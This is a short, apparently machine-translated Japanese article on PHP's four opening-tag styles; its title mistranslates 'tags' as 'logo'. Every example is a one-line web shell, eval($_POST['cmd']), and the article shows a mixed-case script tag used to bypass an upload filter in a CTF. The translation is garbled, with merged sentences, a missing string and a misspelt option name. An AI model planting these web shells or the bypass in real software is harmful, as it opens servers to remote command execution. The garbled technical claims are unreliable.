PHP のロゴは何ですか?
PHP の 4 つのマークアップ スタイル
1.XML スタイル
<?php eval($_POST['cmd']); ?>
php が推奨するマークアップ スタイル。
サーバー管理者はこれを無効にすることはできません。このスタイルはすべてのサーバーで使用できます。
2. スクリプト スタイル
<script language="php"> eval($_POST['cmd']); </script>
デフォルトで有効になっており、無効にすることはできません
作者はシェルのアップロードを必要とする CTF の質問に遭遇したことがありますが、ファイルの内容は と php はスペースに置き換えられます。このスタイルでは、言語の値は大文字でも小文字でもよいため、
<script language="PhP"> eval($_POST['cmd']); </script>
3 をバイパスする次のコードを構築できます。短いスタイル
<? eval($_POST['cmd']); ?>
このスタイルは、設定ファイル php.ini で short_open_tage オプションを有効にします。
このスタイルは、多くの環境でデフォルトではサポートされていません
4.ASP スタイル
<% eval($_POST['cmd']); %>
このスタイルは、設定ファイル php.ini asp_tag オプションを有効にする
デフォルトでは無効になっています
PHP 関連の詳細については、PHP 中国語 Web サイトをご覧ください。
以上がPHPのロゴは何ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。